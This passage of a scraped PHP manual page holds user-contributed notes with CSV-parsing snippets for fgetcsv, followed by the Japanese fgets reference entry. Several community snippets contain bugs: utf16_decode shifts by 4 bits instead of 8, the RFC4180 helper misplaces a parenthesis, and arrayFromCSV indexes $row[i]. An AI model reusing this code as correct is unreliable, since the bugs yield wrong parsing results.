  string(29) "this
is
having
multiple
lines"
  [1]=>
  string(8) "this not"
  [2]=>
  string(13) "this also not"
}
array(3) {
  [0]=>
  string(13) "normal record"
  [1]=>
  string(19) "nothing to see here"
  [2]=>
  string(7) "no data"
}

This means that you can expect fgetcsv to handle newlines within fields fine. This was not clear from the documentation.
nick at atomicdesign dot net 13-Jan-2012 12:48
I was getting a bytes exhausted error when iterating through a CSV file. ini_set('auto_detect_line_endings', 1); fixed it.
ifedinachukwu at yahoo dot com 05-Apr-2011 05:43
I had a csv file whose fields included data with line endings (CRLF created by hitting the carriage returns in html textarea). Of course, the LF in these fields was escaped by MySQL during the creation of the csv. Problem is I could NOT get fgetcsv to work correctly here, since each and every LF was regarded as the end of a line of the csv file, even when it was escaped!

Since what I wanted was to get THE FIRST LINE of the csv file, then count the number of fields by exploding on all unescaped commas, I had to resort to this:

<?php
/*
First five lines of csv: the 4th row has a line-break within  a data field. The LFs represent line-feeds or \n
1,okonkwo joseph,nil,2010-01-12 17:41:40LF
2,okafor john,cq and sulphonamides,2010-01-12 17:58:03LF
3,okoye andrew,lives with hubby in abuja,2011-03-30 13:39:19LF
4,okeke peter,In 2001\, had appendicectomy in AbaCR
\LF
In 2004\, had ELCS at a private hoapital in Lagos,2011-03-30 13:39:19LF
5,adewale chris,cq and sulphonamides,2010-01-12 17:58:03LF

*/

        $fp = fopen('file.csv', 'r');
        $i = 1;
        $str='';
        $srch='';
            while (false !== ($char = fgetc($fp))) {
                $str .= $char;//use this to collect the string for outputting
                $srch .= $char;//use this to search for LF, possible preceded by \'
                if(strlen($srch) > 2){
                    $srch = substr($srch, 1);//ie trim off the first char
                }
                if($i > 1 && $srch[1] == chr(10) && $srch[0] != '\\'){//chr(10) is LF, ie \n
                    break;//if you get to the \n NOT preceded by \, that's the real line-ending, stop collecting the string;
                }

            $i++;
        }
        echo $str;//should contain the first line as string

?>
Perhaps there exists a more elegant solution to this issue, in which case I'd be glad to know!
matasbi at gmail dot com 08-Dec-2010 08:22
Parse from Microsoft Excel "Unicode Text (*.txt)" format:

<?php
function parse($file) {
    if (($handle = fopen($file, "r")) === FALSE) return;
    while (($cols = fgetcsv($handle, 1000, "\t")) !== FALSE) {
        foreach( $cols as $key => $val ) {
            $cols[$key] = trim( $cols[$key] );
            $cols[$key] = iconv('UCS-2', 'UTF-8', $cols[$key]."\0") ;
            $cols[$key] = str_replace('""', '"', $cols[$key]);
            $cols[$key] = preg_replace("/^\"(.*)\"$/sim", "$1", $cols[$key]);
        }
        echo print_r($cols, 1);
    }
}
?>
code at ashleyhunt dot co dot uk 04-Dec-2010 07:14
I needed a function to analyse a file for delimiters and line endings prior to importing the file into MySQL using LOAD DATA LOCAL INFILE

I wrote this function to do the job, the results are (mostly) very accurate and it works nicely with large files too.
<?php
function analyse_file($file, $capture_limit_in_kb = 10) {
    // capture starting memory usage
    $output['peak_mem']['start']    = memory_get_peak_usage(true);

    // log the limit how much of the file was sampled (in Kb)
    $output['read_kb']                 = $capture_limit_in_kb;

    // read in file
    $fh = fopen($file, 'r');
        $contents = fread($fh, ($capture_limit_in_kb * 1024)); // in KB
    fclose($fh);

    // specify allowed field delimiters
    $delimiters = array(
        'comma'     => ',',
        'semicolon' => ';',
        'tab'         => "\t",
        'pipe'         => '|',
        'colon'     => ':'
    );

    // specify allowed line endings
    $line_endings = array(
        'rn'         => "\r\n",
        'n'         => "\n",
        'r'         => "\r",
        'nr'         => "\n\r"
    );

    // loop and count each line ending instance
    foreach ($line_endings as $key => $value) {
        $line_result[$key] = substr_count($contents, $value);
    }

    // sort by largest array value
    asort($line_result);

    // log to output array
    $output['line_ending']['results']     = $line_result;
    $output['line_ending']['count']     = end($line_result);
    $output['line_ending']['key']         = key($line_result);
    $output['line_ending']['value']     = $line_endings[$output['line_ending']['key']];
    $lines = explode($output['line_ending']['value'], $contents);

    // remove last line of array, as this maybe incomplete?
    array_pop($lines);

    // create a string from the legal lines
    $complete_lines = implode(' ', $lines);

    // log statistics to output array
    $output['lines']['count']     = count($lines);
    $output['lines']['length']     = strlen($complete_lines);

    // loop and count each delimiter instance
    foreach ($delimiters as $delimiter_key => $delimiter) {
        $delimiter_result[$delimiter_key] = substr_count($complete_lines, $delimiter);
    }

    // sort by largest array value
    asort($delimiter_result);

    // log statistics to output array with largest counts as the value
    $output['delimiter']['results']     = $delimiter_result;
    $output['delimiter']['count']         = end($delimiter_result);
    $output['delimiter']['key']         = key($delimiter_result);
    $output['delimiter']['value']         = $delimiters[$output['delimiter']['key']];

    // capture ending memory usage
    $output['peak_mem']['end'] = memory_get_peak_usage(true);
    return $output;
}
?>

Example Usage:
<?php
$Array = analyse_file('/www/files/file.csv', 10);

// example usable parts
// $Array['delimiter']['value'] => ,
// $Array['line_ending']['value'] => \r\n
?>

Full function output:
Array
(
    [peak_mem] => Array
        (
            [start] => 786432
            [end] => 786432
        )

    [line_ending] => Array
        (
            [results] => Array
                (
                    [nr] => 0
                    [r] => 4
                    [n] => 4
                    [rn] => 4
                )

            [count] => 4
            [key] => rn
            [value] =>

        )

    [lines] => Array
        (
            [count] => 4
            [length] => 94
        )

    [delimiter] => Array
        (
            [results] => Array
                (
                    [colon] => 0
                    [semicolon] => 0
                    [pipe] => 0
                    [tab] => 1
                    [comma] => 17
                )

            [count] => 17
            [key] => comma
            [value] => ,
        )

    [read_kb] => 10
)

Enjoy!

Ashley
mustafa dot kachwala at gmail dot com 25-Oct-2010 01:59
A simple function to return 2 Dimensional array by parsing a CSV file.

<?php
    function get2DArrayFromCsv($file,$delimiter) {
        if (($handle = fopen($file, "r")) !== FALSE) {
            $i = 0;
            while (($lineArray = fgetcsv($handle, 4000, $delimiter)) !== FALSE) {
                for ($j=0; $j<count($lineArray); $j++) {
                    $data2DArray[$i][$j] = $lineArray[$j];
                }
                $i++;
            }
            fclose($handle);
        }
        return $data2DArray;
    }
?>
jack dot peterson at gmail dot com 05-Oct-2010 04:30
If you receive data in the following format:

Time,Dataset1,Dataset2,
timestamp1,item 1 for dataset 1,item1 for dataset2
timestamp2,item 2 for dataset 1,item2 for dataset2

the following code will output a series of arrays grouped by column with the resulting format:
array (
[column 1 title] => array (
[timestamp1] => item1 for dataset1
[timestamp2] => item2 for dataset1
)

[column 2 title] => array (
[timestamp1] => item1 for dataset2
[timestamp2] => item2 for dataset2
)
)

<?php

# Open the File.
if (($handle = fopen("rawdata.csv", "r")) !== FALSE) {
    # Set the parent multidimensional array key to 0.
    $nn = 0;
    while (($data = fgetcsv($handle, 0, ",")) !== FALSE) {
        # Count the total keys in the row.
        $c = count($data);
        # Populate the multidimensional array.
        for ($x=0;$x<$c;$x++)
        {
            $csvarray[$nn][$x] = $data[$x];
        }
        $nn++;
    }
    # Close the File.
    fclose($handle);
}

// take the row'ified data and columnize the array
function columnizeArray($csvarray) {
    $array = array();
    foreach($csvarray as $key=>$value) {
        // reparse into useful array data.
        if ($key == 0) {
            foreach ($value AS $key2=>$value2) {
                $array[$key2] = array();
                $array[$key2][] = $value2;
            }
        }else if ($key > 0){
            foreach ($value as $key3=>$value3) {
                $array[$key3][] = $value3;
            }
        }else{
        }
    }
    return $array;
}
function groupColumns($array = null) {
    $array2 = array();
    foreach ($array as $k=>$v) {
        // procss each column
        // $k = column number
        // $v = array of rows
        if ($k == 0) {}else{ // working on column 2 or higher
            $array2[$v[0]] = array();
            foreach ($array[0] as $k1=>$v1) {
                if ($v1 > 0) { // ignore the column heading
                    // store the first column variable in as the key.
                    // Store the value associated with this item as the value.
                    $array2[$v[0]][$v1] = $v[$k1];
                }
            }
     }
    }
    return $array2;
}

$array2 = groupColumns(columnizeArray($csvarray));

print_r($array2);

?>
Xander 29-Sep-2010 01:42
I had a problem with multibytes. File was windows-1250, script was UTF-8 and set_locale wasn't work so I made a simple and safe workaround:

<?php
$fc = iconv('windows-1250', 'utf-8', file_get_contents($_FILES['csv']['tmp_name']));

            file_put_contents('tmp/import.tmp', $fc);
            $handle = fopen('tmp/import.tmp', "r");
            $rows = array();
            while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {

                $rows[] = $data;

            }
            fclose($handle);
            unlink('tmp/import.tmp');
?>

I hope You will find it out usefull.
Sorry for my english.
do not spam aleske at live dot ru 08-Jul-2010 06:38
The PHP's CSV handling stuff is non-standard and contradicts with RFC4180, thus fgetcsv() cannot properly deal with files like this example from Wikipedia:

1997,Ford,E350,"ac, abs, moon",3000.00
1999,Chevy,"Venture ""Extended Edition""","",4900.00
1999,Chevy,"Venture ""Extended Edition, Very Large""","",5000.00
1996,Jeep,Grand Cherokee,"MUST SELL!
air, moon roof, loaded",4799.00

Please note: the enclosure symbol is doubled inside fields, field data can contain linebreaks, and there is no real escape symbol. Also, fputcsv() creates non-standard CSV files.

There is a quick and dirty RFC-compliant realization of CSV creation and parsing:

<?php
function array_to_csvstring($items, $CSV_SEPARATOR = ';', $CSV_ENCLOSURE = '"', $CSV_LINEBREAK = "\n") {
  $string = '';
  $o = array();

  foreach ($items as $item) {
    if (stripos($item, $CSV_ENCLOSURE) !== false) {
      $item = str_replace($CSV_ENCLOSURE, $CSV_ENCLOSURE . $CSV_ENCLOSURE, $item);
    }

    if ((stripos($item, $CSV_SEPARATOR) !== false)
     || (stripos($item, $CSV_ENCLOSURE) !== false)
     || (stripos($item, $CSV_LINEBREAK !== false))) {
      $item = $CSV_ENCLOSURE . $item . $CSV_ENCLOSURE;
    }

    $o[] = $item;
  }

  $string = implode($CSV_SEPARATOR, $o) . $CSV_LINEBREAK;

  return $string;
}

function csvstring_to_array(&$string, $CSV_SEPARATOR = ';', $CSV_ENCLOSURE = '"', $CSV_LINEBREAK = "\n") {
  $o = array();

  $cnt = strlen($string);
  $esc = false;
  $escesc = false;
  $num = 0;
  $i = 0;
  while ($i < $cnt) {
    $s = $string[$i];

    if ($s == $CSV_LINEBREAK) {
      if ($esc) {
        $o[$num] .= $s;
      } else {
        $i++;
        break;
      }
    } elseif ($s == $CSV_SEPARATOR) {
      if ($esc) {
        $o[$num] .= $s;
      } else {
        $num++;
        $esc = false;
        $escesc = false;
      }
    } elseif ($s == $CSV_ENCLOSURE) {
      if ($escesc) {
        $o[$num] .= $CSV_ENCLOSURE;
        $escesc = false;
      }

      if ($esc) {
        $esc = false;
        $escesc = true;
      } else {
        $esc = true;
        $escesc = false;
      }
    } else {
      if ($escesc) {
        $o[$num] .= $CSV_ENCLOSURE;
        $escesc = false;
      }

      $o[$num] .= $s;
    }

    $i++;
  }

//  $string = substr($string, $i);

  return $o;
}
?>

References:
RFC4180 - http://tools.ietf.org/html/rfc4180
Wikipedia - http://en.wikipedia.org/wiki/Comma-separated_values#Example

Also, there is complete solution of CSV handling at http://code.google.com/p/parsecsv-for-php/
jonathangrice at yahoo dot com 15-Jun-2010 07:14
This is how to read a csv file into a multidimensional array.

 <?php
    # Open the File.
    if (($handle = fopen("file.csv", "r")) !== FALSE) {
        # Set the parent multidimensional array key to 0.
        $nn = 0;
        while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
            # Count the total keys in the row.
            $c = count($data);
            # Populate the multidimensional array.
            for ($x=0;$x<$c;$x++)
            {
                $csvarray[$nn][$x] = $data[$x];
            }
            $nn++;
        }
        # Close the File.
        fclose($handle);
    }
    # Print the contents of the multidimensional array.
    print_r($csvarray);
?>
matthias dot isler at gmail dot com 29-Apr-2010 04:54
If you want to load some translations for your application, don't use csv files for that, even if it's easier to handle.

The following code snippet:

<?php
$lang = array();

$handle = fopen('en.csv', 'r');

while($row = fgetcsv($handle, 500, ';'))
{
    $lang[$row[0]] = $row[1];
}

fclose($handle);
?>

is about 400% slower than this code:

<?php
$lang = array();

$values = parse_ini_file('de.ini');

foreach($values as $key => $val)
{
    $lang[$key] = $val;
}
?>

That's the reason why you should allways use .ini files for translations...

http://php.net/parse_ini_file
kent at marketruler dot com 04-Feb-2010 10:18
Note that fgetcsv, at least in PHP 5.3 or previous, will NOT work with UTF-16 encoded files. Your options are to convert the entire file to ISO-8859-1 (or latin1), or convert line by line and convert each line into ISO-8859-1 encoding, then use str_getcsv (or compatible backwards-compatible implementation). If you need to read non-latin alphabets, probably best to convert to UTF-8.

See str_getcsv for a backwards-compatible version of it with PHP < 5.3, and see utf8_decode for a function written by Rasmus Andersson which provides utf16_decode. The modification I added was that the BOP appears at the top of the file, then not on subsequent lines. So you need to store the endian-ness, and then re-send it upon each subsequent line decoding. This modified version returns the endianness, if it's not available:

<?php
/**
 * Decode UTF-16 encoded strings.
 *
 * Can handle both BOM'ed data and un-BOM'ed data.
 * Assumes Big-Endian byte order if no BOM is available.
 * From: http://php.net/manual/en/function.utf8-decode.php
 *
 * @param   string  $str  UTF-16 encoded data to decode.
 * @return  string  UTF-8 / ISO encoded data.
 * @access  public
 * @version 0.1 / 2005-01-19
 * @author  Rasmus Andersson {@link http://rasmusandersson.se/}
 * @package Groupies
 */
function utf16_decode($str, &$be=null) {
    if (strlen($str) < 2) {
        return $str;
    }
    $c0 = ord($str{0});
    $c1 = ord($str{1});
    $start = 0;
    if ($c0 == 0xFE && $c1 == 0xFF) {
        $be = true;
        $start = 2;
    } else if ($c0 == 0xFF && $c1 == 0xFE) {
        $start = 2;
        $be = false;
    }
    if ($be === null) {
        $be = true;
    }
    $len = strlen($str);
    $newstr = '';
    for ($i = $start; $i < $len; $i += 2) {
        if ($be) {
            $val = ord($str{$i})   << 4;
            $val += ord($str{$i+1});
        } else {
            $val = ord($str{$i+1}) << 4;
            $val += ord($str{$i});
        }
        $newstr .= ($val == 0x228) ? "\n" : chr($val);
    }
    return $newstr;
}
?>

Trying the "setlocale" trick did not work for me, e.g.

<?php
setlocale(LC_CTYPE, "en.UTF16");
$line = fgetcsv($file, ...)
?>

But that's perhaps because my platform didn't support it. However, fgetcsv only supports single characters for the delimiter, etc. and complains if you pass in a UTF-16 version of said character, so I gave up on that rather quickly.

Hope this is helpful to someone out there.
jaimthorn at yahoo dot com 04-Dec-2009 02:38
I used fgetcsv to read pipe-delimited data files, and ran into the following quirk.

The data file contained data similar to this:

RECNUM|TEXT|COMMENT
1|hi!|some comment
2|"error!|another comment
3|where does this go?|yet another comment
4|the end!"|last comment

I read the file like this:

<?php
$row = fgetcsv( $fi, $length, '|' );
?>

This causes a problem on record 2: the quote immediately after the pipe causes the file to be read up to the following quote --in this case, in record 4.  Everything in between was stored in a single element of $row.

In this particular case it is easy to spot, but my script was processing thousands of records and it took me some time to figure out what went wrong.

The annoying thing is, that there doesn't seem to be an elegant fix.  You can't tell PHP not to use an enclosure --for example, like this:

<?php
$row = fgetcsv( $fi, $length, '|', '' );
?>

(Well, you can tell PHP that, but it doesn't work.)

So you'd have to resort to a solution where you use an extremely unlikely enclosure, but since the enclosure can only be one character long, it may be hard to find.

Alternatively (and IMNSHO: more elegantly), you can choose to read these files like this, instead:

<?php
$line = fgets( $fi, $length );
$row = explode( '|', $line );
?>

As it's more intuitive and resilient, I've decided to favor this 'construct' over fgetcsv from now on.
james dot ellis at gmail dot com 23-Nov-2008 10:19
If you need to set auto_detect_line_endings to deal with Mac line endings, it may seem obvious but remember it should be set before fopen, not after:

This will work:
<?php
ini_set('auto_detect_line_endings',TRUE);
$handle = fopen('/path/to/file','r');
while ( ($data = fgetcsv($handle) ) !== FALSE ) {
//process
}
ini_set('auto_detect_line_endings',FALSE);
?>

This won't, you will still get concatenated fields at the new line position:
<?php
$handle = fopen('/path/to/file','r');
ini_set('auto_detect_line_endings',TRUE);
while ( ($data = fgetcsv($handle) ) !== FALSE ) {
//process
}
ini_set('auto_detect_line_endings',FALSE);
?>
michael dot martinek at gmail dot com 09-Oct-2008 09:12
Here's something I put together this morning. It allows you to read rows from your CSV and get values based on the name of the column. This works great when your header columns are not always in the same order; like when you're processing many feeds from different customers. Also makes for cleaner, easier to manage code.

So if your feed looks like this:

product_id,category_name,price,brand_name, sku_isbn_upc,image_url,landing_url,title,description
123,Test Category,12.50,No Brand,0,http://www.example.com, http://www.example.com/landing.php, Some Title,Some Description

You can do:
<?php
while ($o->getNext())
{
   $dPrice = $o->getPrice();
   $nProductID = $o->getProductID();
   $sBrandName = $o->getBrandName();
}
?>

If you have any questions or comments regarding this class, they can be directed to michael.martinek@gmail.com as I probably won't be checking back here.

<?php
    define('C_PPCSV_HEADER_RAW',        0);
    define('C_PPCSV_HEADER_NICE',        1);

    class PaperPear_CSVParser
    {
        private $m_saHeader = array();
        private $m_sFileName = '';
        private $m_fp = false;
        private $m_naHeaderMap = array();
        private $m_saValues = array();

        function __construct($sFileName)
        {
            //quick and dirty opening and processing.. you may wish to clean this up
            if ($this->m_fp = fopen($sFileName, 'r'))
            {
                $this->processHeader();
            }
        }

          function __call($sMethodName, $saArgs)
        {
            //check to see if this is a set() or get() request, and extract the name
            if (preg_match("/[sg]et(.*)/", $sMethodName, $saFound))
            {
                //convert the name portion of the [gs]et to uppercase for header checking
                $sName = strtoupper($saFound[1]);

                //see if the entry exists in our named header-> index mapping
                  if (array_key_exists($sName, $this->m_naHeaderMap))
                  {
                      //it does.. so consult the header map for which index this header controls
                      $nIndex = $this->m_naHeaderMap[$sName];
                      if ($sMethodName{0} == 'g')
                      {
                          //return the value stored in the index associated with this name
                             return $this->m_saValues[$nIndex];
                      }
                      else
                      {
                          //set the valuw
                          $this->m_saValues[$nIndex] = $saArgs[0];
                          return true;
                      }
                  }
            }

            //nothing we control so bail out with a false
              return false;
          }

          //get a nicely formatted header name. This will take product_id and make
          //it PRODUCTID in the header map. So now you won't need to worry about whether you need
          //to do a getProductID, or getproductid, or getProductId.. all will work.
        public static function GetNiceHeaderName($sName)
        {
            return strtoupper(preg_replace('/[^A-Za-z0-9]/', '', $sName));
        }

        //process the header entry so we can map our named header fields to a numerical index, which
        //we'll use when we use fgetcsv().
        private function processHeader()
        {
            $sLine = fgets($this->m_fp);
                        //you'll want to make this configurable
            $saFields = split(",", $sLine);

            $nIndex = 0;
            foreach ($saFields as $sField)
            {
                //get the nice name to use for "get" and "set".
                $sField = trim($sField);

                $sNiceName = PaperPear_CSVParser::GetNiceHeaderName($sField);

                //track correlation of raw -> nice name so we don't have to do on-the-fly nice name checks
                $this->m_saHeader[$nIndex] = array(C_PPCSV_HEADER_RAW => $sField, C_PPCSV_HEADER_NICE => $sNiceName);
                $this->m_naHeaderMap[$sNiceName] = $nIndex;
                $nIndex++;
            }
        }

        //read the next CSV entry
        public function getNext()
        {
            //this is a basic read, you will likely want to change this to accomodate what
            //you are using for CSV parameters (tabs, encapsulation, etc).
            if (($saValues = fgetcsv($this->m_fp)) !== false)
            {
                $this->m_saValues = $saValues;
                return true;
            }
            return false;
        }
    }

    //quick example of usage
    $o = new PaperPear_CSVParser('F:\foo.csv');
    while ($o->getNext())
    {
        echo "Price=" . $o->getPrice() . "\r\n";
    }

?>
Tim Henderson 04-Oct-2007 06:40
Only problem with fgetcsv(), at least in PHP 4.x -- any stray slash in the data that happens to come before a double-quote delimiter will break it -- ie, cause the field delimiter to be escaped. I can't find a direct way to deal with it, since fgetcsv() doesn't give you a chance to manipulate the line before it reads it and parses it...I've had to change all occurrences of '\"' to '" in the file first before feeding ot to fgetcsv(). Otherwise this is perfect for that Microsoft-CSV formula, deals gracefully with all the issues.
myrddin at myrddin dot myrddin 18-Jul-2006 09:14
Here is a OOP based importer similar to the one posted earlier. However, this is slightly more flexible in that you can import huge files without running out of memory, you just have to use a limit on the get() method

Sample usage for small files:-
-------------------------------------
<?php
$importer = new CsvImporter("small.txt",true);
$data = $importer->get();
print_r($data);
?>

Sample usage for large files:-
-------------------------------------
<?php
$importer = new CsvImporter("large.txt",true);
while($data = $importer->get(2000))
{
print_r($data);
}
?>

And heres the class:-
-------------------------------------
<?php
class CsvImporter
{
    private $fp;
    private $parse_header;
    private $header;
    private $delimiter;
    private $length;
    //--------------------------------------------------------------------
    function __construct($file_name, $parse_header=false, $delimiter="\t", $length=8000)
    {
        $this->fp = fopen($file_name, "r");
        $this->parse_header = $parse_header;
        $this->delimiter = $delimiter;
        $this->length = $length;
        $this->lines = $lines;

        if ($this->parse_header)
        {
           $this->header = fgetcsv($this->fp, $this->length, $this->delimiter);
        }

    }
    //--------------------------------------------------------------------
    function __destruct()
    {
        if ($this->fp)
        {
            fclose($this->fp);
        }
    }
    //--------------------------------------------------------------------
    function get($max_lines=0)
    {
        //if $max_lines is set to 0, then get all the data

        $data = array();

        if ($max_lines > 0)
            $line_count = 0;
        else
            $line_count = -1; // so loop limit is ignored

        while ($line_count < $max_lines && ($row = fgetcsv($this->fp, $this->length, $this->delimiter)) !== FALSE)
        {
            if ($this->parse_header)
            {
                foreach ($this->header as $i => $heading_i)
                {
                    $row_new[$heading_i] = $row[$i];
                }
                $data[] = $row_new;
            }
            else
            {
                $data[] = $row;
            }

            if ($max_lines > 0)
                $line_count++;
        }
        return $data;
    }
    //--------------------------------------------------------------------

}
?>
daniel at softel dot jp 08-Mar-2006 07:03
Note that fgetcsv() uses the system locale setting to make assumptions about character encoding.
So if you are trying to process a UTF-8 CSV file on an EUC-JP server (for example),
you will need to do something like this before you call fgetcsv():

setlocale(LC_ALL, 'ja_JP.UTF8');

[Also not that setlocale() doesn't *permanently* affect the system locale setting]
27-Feb-2006 03:05
beware of characters of binary value == 0, as they seem to make fgetcsv ignore the remaining part of a line where they appear.

Maybe this is normal under some convention I don't know, but a file exported from Excel had those as values for some cells *sometimes*, thus fgetcsv return variable cell counts for different lines.

i'm using php 4.3
tokai at binaryriot dot com 07-Nov-2005 02:18
Newer PHP versions handle cvs files slightly different than older versions.

"Max Mustermann"|"Muster Road 34b"|"Berlin"    |"Germany"
"Sophie Master" |"Riverstreet"    |"Washington"|"USA"

The extra spaces behind a few fields in the example (which are useful, when you manually manage a small csv database to align the columns) were ignored by fgetcsv from PHP 4.3. With the new 4.4.1 release they get appended to the string, so you end up with "Riverstreet    " instead the expected "Riverstreet".

Easy workaround is to just trim all fields after reading them in.

<?php
while ( $data = fgetcsv($database, 32768, "|") )
{
    $i = 0;

    while(isset($data[$i]))
    {
        $data[$i] = rtrim($data[$i]);
        $i++;
    }

    // ....
}
?>
junk at vhd dot com dot au 24-Oct-2005 09:52
The fgetcsv function seems to follow the MS excel conventions, which means:

- The quoting character is escaped by itself and not the back slash.
(i.e.Let's use the double quote (") as the quoting character:

   Two double quotes  "" will give a single " once parsed, if they are inside a quoted field (otherwise neither of them will be removed).

   \" will give \" whether it is in a quoted field or not (same for \\) , and

   if a single double quote is inside a quoted field it will be removed. If it is not inside a quoted field it will stay).

- leading and trailing spaces (\s or \t) are never removed, regardless of whether they are in quoted fields or not.

- Line breaks within fields are dealt with correctly if they are in quoted fields. (So previous comments stating the opposite are wrong, unless they are using a different PHP version.... I am using 4.4.0.)

So fgetcsv if actually very complete and can deal with every possible situation. (It does need help for macintosh line breaks though, as mentioned in the help files.)

I wish I knew all this from the start. From my own benchmarks fgetcsv strikes a very good compromise between memory consumption and speed.

-------------------------
Note: If back slashes are used to escape quotes they can easily be removed afterwards. Same for leading and trailing spaces.
mortanon at gmail dot com 14-Oct-2005 08:05
Hier is an example for a CSV Iterator.

<?php
class CsvIterator implements Iterator
{
    const ROW_SIZE = 4096;
    /**
     * The pointer to the cvs file.
     * @var resource
     * @access private
     */
    private $filePointer = null;
    /**
     * The current element, which will
     * be returned on each iteration.
     * @var array
     * @access private
     */
    private $currentElement = null;
    /**
     * The row counter.
     * @var int
     * @access private
     */
    private $rowCounter = null;
    /**
     * The delimiter for the csv file.
     * @var str
     * @access private
     */
    private $delimiter = null;

    /**
     * This is the constructor.It try to open the csv file.The method throws an exception
     * on failure.
     *
     * @access public
     * @param str $file The csv file.
     * @param str $delimiter The delimiter.
     *
     * @throws Exception
     */
    public function __construct($file, $delimiter=',')
    {
        try {
            $this->filePointer = fopen($file, 'r');
            $this->delimiter = $delimiter;
        }
        catch (Exception $e) {
            throw new Exception('The file "'.$file.'" cannot be read.');
        }
    }

    /**
     * This method resets the file pointer.
     *
     * @access public
     */
    public function rewind() {
        $this->rowCounter = 0;
        rewind($this->filePointer);
    }

    /**
     * This method returns the current csv row as a 2 dimensional array
     *
     * @access public
     * @return array The current csv row as a 2 dimensional array
     */
    public function current() {
        $this->currentElement = fgetcsv($this->filePointer, self::ROW_SIZE, $this->delimiter);
        $this->rowCounter++;
        return $this->currentElement;
    }

    /**
     * This method returns the current row number.
     *
     * @access public
     * @return int The current row number
     */
    public function key() {
        return $this->rowCounter;
    }

    /**
     * This method checks if the end of file is reached.
     *
     * @access public
     * @return boolean Returns true on EOF reached, false otherwise.
     */
    public function next() {
        return !feof($this->filePointer);
    }

    /**
     * This method checks if the next row is a valid row.
     *
     * @access public
     * @return boolean If the next row is a valid row.
     */
    public function valid() {
        if (!$this->next()) {
            fclose($this->filePointer);
            return false;
        }
        return true;
    }
}
?>

Usage :

<?php
$csvIterator = new CsvIterator('/path/to/csvfile.csv');
foreach ($csvIterator as $row => $data) {
    // do somthing with $data
}
?>
jc at goetc dot net 16-Jun-2004 08:51
I've had alot of projects recently dealing with csv files, so I created the following class to read a csv file and return an array of arrays with the column names as keys. The only requirement is that the 1st row contain the column headings.

I only wrote it today, so I'll probably expand on it in the near future.

<?php
class CSVparse
  {
  var $mappings = array();

  function parse_file($filename)
    {
    $id = fopen($filename, "r"); //open the file
    $data = fgetcsv($id, filesize($filename)); /*This will get us the */
                                               /*main column names */

    if(!$this->mappings)
       $this->mappings = $data;

    while($data = fgetcsv($id, filesize($filename)))
        {
         if($data[0])
           {
            foreach($data as $key => $value)
               $converted_data[$this->mappings[$key]] = addslashes($value);
            $table[] = $converted_data; /* put each line into */
             }                                 /* its own entry in    */
         }                                     /* the $table array    */
    fclose($id); //close file
    return $table;
    }
  }
?>
phpnet at smallfryhosting dot co dot uk 18-Sep-2003 09:42
Another version [modified michael from mediaconcepts]

<?php
  function arrayFromCSV($file, $hasFieldNames = false, $delimiter = ',', $enclosure='') {
    $result = Array();
    $size = filesize($file) +1;
    $file = fopen($file, 'r');
    #TO DO: There must be a better way of finding out the size of the longest row... until then
    if ($hasFieldNames) $keys = fgetcsv($file, $size, $delimiter, $enclosure);
    while ($row = fgetcsv($file, $size, $delimiter, $enclosure)) {
        $n = count($row); $res=array();
        for($i = 0; $i < $n; $i++) {
            $idx = ($hasFieldNames) ? $keys[$i] : $i;
            $res[$idx] = $row[i];
        }
        $result[] = $res;
    }
    fclose($file);
    return $result;
  }
?>
kurtnorgaz at web dot de 21-Jul-2003 12:00
You should pay attention to the fact that "fgetcsv" does remove leading TAB-chars "chr(9)" while reading the file.

This means if you have a chr(9) as the first char in the file and you use fgetcsv this char is automaticaly deleted.

Example:
file content:
chr(9)first#second#third#fourth

source:
<?php $line = fgetcsv($handle,500,"#"); ?>

The array $line looks like:
$line[0] = first
$line[1] = second
$line[2] = third
$line[3] = fourth

and not
$line[0] = chr(9)first
$line[1] = second
$line[2] = third
$line[3] = fourth

All chr(9) after another char is not deleted!

Example:
file content:
Achr(9)first#second#third#fourth

source:
<?php $line = fgetcsv($handle,500,"#"); ?>

The array $line looks like:
$line[0] = Achr(9)first
$line[1] = second
$line[2] = third
$line[3] = fourth


ファイルポインタから 1 行取得する

  • ≪ fgetcsv
  • fgetss ≫
  • PHP Manual
  • ファイルシステム 関数
  • ファイルポインタから 1 行取得する

fgets

(PHP 4, PHP 5, PHP 7, PHP 8)

fgets — ファイルポインタから 1 行取得する

説明

fgets ( resource $handle , int $length = ? ) : string|false

ファイルポインタから 1 行取得します。

パラメータ

handle

ファイルポインタは、有効なファイルポインタである必要があり、 fopen() または fsockopen() で正常にオープンされた （そしてまだ fclose() でクローズされていない） ファイルを指している必要があります。

length

読み出しは、length - 1 バイト読み出したか、(返り値に含まれる) 改行文字を検出したか、EOF に達したかのいずれかが起こった時点で終了します。 length が指定されない場合は、行末に達するまで読み続けます。

返り値

handle で指定したファイルポインタから最大 length - 1 バイト読み出し、 その文字列を返します。ファイルポインタから読み込むデータがもうない場合は false を返します。

エラーが起こった場合、false を返します。

例

例1 行毎にファイルを読み込む

<?php
$handle = @fopen("/tmp/inputfile.txt", "r");
if ($handle) {
    while (($buffer = fgets($handle, 4096)) !== false) {
        echo $buffer;
    }
    if (!feof($handle)) {
        echo "Error: unexpected fgets() fail\n";
    }
    fclose($handle);
}
?>

注意

注意: マッキントッシュコンピュータ上で作成されたファイルを読み込む際に、 PHP が行末を認識できないという問題が発生した場合、 実行時の設定オプションauto_detect_line_endings を有効にする必要が生じるかもしれません。

注意:

C 言語の fgets() の動作に慣れている人は、 EOF を返す条件の違いについて注意する必要があります。

参考

  • fgetss() - ファイルポインタから 1 行取り出し、HTML タグを取り除く
  • fread() - バイナリセーフなファイルの読み込み
  • fgetc() - ファイルポインタから1文字取り出す
  • stream_get_line() - 指定されたデリミタの位置までのデータを一行分としてストリームから読み込む
  • fopen() - ファイルまたは URL をオープンする
  • popen() - プロセスへのファイルポインタをオープンする
  • fsockopen() - インターネット接続もしくは Unix ドメインソケット接続をオープンする
  • stream_set_timeout() - ストリームにタイムアウトを設定する

User Contributed Notes

Anonymous 21-Mar-2020 03:34
if you for some reason need to get lines from a string instead of a file pointer, try

<?php
function string_gets(string $source, int $offset = 0, string $delimiter = "\n"): ?string
{
    $len = strlen($source);
    if ($len < $offset) {
        // out of bounds.. maybe i should throw an exception
        return null;
    }
    if ($len === $offset) {
        // end of string..
        return null;
    }
    $delimiter_pos = strpos($source, $delimiter, $offset);
    if ($delimiter_pos === false) {
        // last line.
        return substr($source, $offset);
    }
    return substr($source, $offset, ($delimiter_pos - $offset) + strlen($delimiter));
}

?>

